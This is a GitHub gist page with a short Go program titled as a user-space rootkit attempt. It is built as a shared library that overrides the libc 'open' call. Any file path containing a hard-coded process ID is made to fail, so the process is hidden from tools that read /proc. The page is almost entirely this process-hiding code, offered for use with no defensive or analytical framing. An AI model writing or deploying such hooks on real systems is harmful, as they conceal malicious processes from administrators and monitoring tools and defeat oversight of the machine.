Skip to content

Instantly share code, notes, and snippets.

@pyperanger
Last active May 28, 2020 19:27
Show Gist options
  • Save pyperanger/2acca2554fa61f02e7f1810ece6fcb89 to your computer and use it in GitHub Desktop.
Save pyperanger/2acca2554fa61f02e7f1810ece6fcb89 to your computer and use it in GitHub Desktop.
"Hooking" Open call (rootkit ring3 wanna be)
/*
go build -o opengo.so -buildmode=c-shared open.go
*/
package main
// #cgo LDFLAGS: -fpic -shared
// #include <sys/types.h>
import "C"
import (
"strings"
"syscall"
)
var (
// PID TO HIDE
PID = "1393"
)
//export open
func open(pathname *C.char, flags C.int, mode C.mode_t) int {
if strings.Contains(C.GoString(pathname), PID) {
return -1
}
fd, err := syscall.Open(C.GoString(pathname), int(flags), uint32(mode))
if err != nil {
return -1
}
return fd
}
func main() {}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment